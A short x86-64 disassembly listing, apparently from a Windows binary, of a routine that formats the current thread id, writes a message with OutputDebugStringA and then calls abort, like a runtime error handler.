lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x41b788
mov eax, 0x28
jmp 0x41b75a
add rax, 1
cmp rax, 0x6b
je 0x41b77a
cmp byte [r12 + rax], 0
mov edx, eax
jne 0x41b750
cmp eax, 0x6a
je 0x41b77a
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
jmp 0x41b768